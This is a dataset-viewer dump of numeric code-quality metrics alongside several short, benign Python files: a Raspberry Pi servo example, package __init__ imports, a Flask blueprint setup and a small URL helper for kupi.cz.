| 13 | 37 | 0.74359 | 10 | 78 | 5.2 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.141026 | 78 | 5 | 38 | 15.6 | 0.776119 | 0 | 0 | 0 | 0 | 0 | 0.246753 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.666667 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
7b18e8934f64c2e1bab917091d9ca75a83ba4f38 | 3,361 | py | Python | example_advanced_servo.py | vikramdayal/RaspberryServo | 0dfa7292dbbbefee697301edb4ca127016f3b633 | [
"MIT"
] | 1 | 2021-04-14T14:29:40.000Z | 2021-04-14T14:29:40.000Z | example_advanced_servo.py | vikramdayal/RaspberryServo | 0dfa7292dbbbefee697301edb4ca127016f3b633 | [
"MIT"
] | null | null | null | example_advanced_servo.py | vikramdayal/RaspberryServo | 0dfa7292dbbbefee697301edb4ca127016f3b633 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
'''
Advanced example of how to use the servos interface.
In this example, we are connecting a sinle servo control
to GPIO pin 11 (RaspberryPi 4 and 3 are good with it)
1. We will connect using the BCM interface
refer: https://www.raspberrypi-spy.co.uk/2012/09/checking-your-raspberry-pi-... | 40.493976 | 100 | 0.659923 | 501 | 3,361 | 4.411178 | 0.293413 | 0.021719 | 0.032579 | 0.038009 | 0.744344 | 0.744344 | 0.744344 | 0.744344 | 0.744344 | 0.744344 | 0 | 0.032209 | 0.214817 | 3,361 | 83 | 101 | 40.493976 | 0.805229 | 0.847367 | 0 | 0 | 0 | 0 | 0.056338 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.142857 | 0 | 0.214286 | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
9e794d9a34124775475d2555d066bddcc4521ea1 | 175 | py | Python | DSSPparser/__init__.py | jomimc/DSSPparser | 9f659fa88f0e29de91856c05a98779bf32771936 | [
"MIT"
] | 10 | 2019-02-27T14:17:24.000Z | 2022-02-11T21:42:12.000Z | DSSPparser/__init__.py | jomimc/DSSPparser | 9f659fa88f0e29de91856c05a98779bf32771936 | [
"MIT"
] | 1 | 2019-12-05T05:10:38.000Z | 2019-12-05T05:10:38.000Z | DSSPparser/__init__.py | jomimc/DSSPparser | 9f659fa88f0e29de91856c05a98779bf32771936 | [
"MIT"
] | 4 | 2019-07-14T16:58:06.000Z | 2022-01-11T23:31:03.000Z | from .parser import parseDSSP
from .pdbToxssp import pdbToxssp, inputCollection, outputCollection
__all__ = ['parseDSSP', 'pdbToxssp', 'inputCollection', 'outputCollection']
| 35 | 75 | 0.8 | 15 | 175 | 9.066667 | 0.533333 | 0.352941 | 0.588235 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097143 | 175 | 4 | 76 | 43.75 | 0.860759 | 0 | 0 | 0 | 0 | 0 | 0.28 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9e8130f1450dc3fc536e63195f56a823b6e68dca | 226 | py | Python | pykupi/utils.py | prostmich/pykupi | 6570d9ba6bf29457a06907ff44eeb1ffc3615e36 | [
"MIT"
] | null | null | null | pykupi/utils.py | prostmich/pykupi | 6570d9ba6bf29457a06907ff44eeb1ffc3615e36 | [
"MIT"
] | null | null | null | pykupi/utils.py | prostmich/pykupi | 6570d9ba6bf29457a06907ff44eeb1ffc3615e36 | [
"MIT"
] | null | null | null | BASE_URL = "https://www.kupi.cz"
def get_page_url(section, item_id: str = ""):
return "{}/{}/{}".format(BASE_URL, section, item_id)
def in_range(value, min_value, max_value):
return min_value <= value <= max_value
| 22.6 | 56 | 0.668142 | 35 | 226 | 4 | 0.571429 | 0.1 | 0.2 | 0.228571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.154867 | 226 | 9 | 57 | 25.111111 | 0.732984 | 0 | 0 | 0 | 0 | 0 | 0.119469 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0 | 0.4 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
7b464fafe867229b3d985bfccae87d0fecd433e0 | 65 | py | Python | app/apps/network/__init__.py | umbibio/babesia_dash_app | ccf8c435f80fb1fc299810fba4ccb09323e491cd | [
"MIT"
] | null | null | null | app/apps/network/__init__.py | umbibio/babesia_dash_app | ccf8c435f80fb1fc299810fba4ccb09323e491cd | [
"MIT"
] | null | null | null | app/apps/network/__init__.py | umbibio/babesia_dash_app | ccf8c435f80fb1fc299810fba4ccb09323e491cd | [
"MIT"
] | null | null | null | from apps.network.layouts import *
import apps.network.callbacks
| 21.666667 | 34 | 0.830769 | 9 | 65 | 6 | 0.666667 | 0.407407 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.092308 | 65 | 2 | 35 | 32.5 | 0.915254 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
7b5f49139f9f25092a87ef6694529dbeb23650bd | 117 | py | Python | app/community/__init__.py | youralphadevelopers/RedditClone | 14f652fd5f57bb31d6910d0d078c9765b4e3e25e | [
"MIT"
] | null | null | null | app/community/__init__.py | youralphadevelopers/RedditClone | 14f652fd5f57bb31d6910d0d078c9765b4e3e25e | [
"MIT"
] | null | null | null | app/community/__init__.py | youralphadevelopers/RedditClone | 14f652fd5f57bb31d6910d0d078c9765b4e3e25e | [
"MIT"
] | null | null | null | from flask import Blueprint
community_blueprint = Blueprint('community', __name__)
from app.community import views
| 19.5 | 54 | 0.820513 | 14 | 117 | 6.5 | 0.571429 | 0.395604 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119658 | 117 | 5 | 55 | 23.4 | 0.883495 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
7b9de3ee00050220141129e46bdf955bcd55e180 | 92 | py | Python | baseconverter/__init__.py | antoniovilarinholopes/converttodecimal | 8fe58c4b7409d83ed66fb4b99f8953acf47bad88 | [
"MIT"
] | null | null | null | baseconverter/__init__.py | antoniovilarinholopes/converttodecimal | 8fe58c4b7409d83ed66fb4b99f8953acf47bad88 | [
"MIT"
] | null | null | null | baseconverter/__init__.py | antoniovilarinholopes/converttodecimal | 8fe58c4b7409d83ed66fb4b99f8953acf47bad88 | [
"MIT"
] | null | null | null | from baseconverter import *
from exceptions import *
import exceptions
import baseconverter
| 18.4 | 27 | 0.847826 | 10 | 92 | 7.8 | 0.4 | 0.410256 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130435 | 92 | 4 | 28 | 23 | 0.975 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.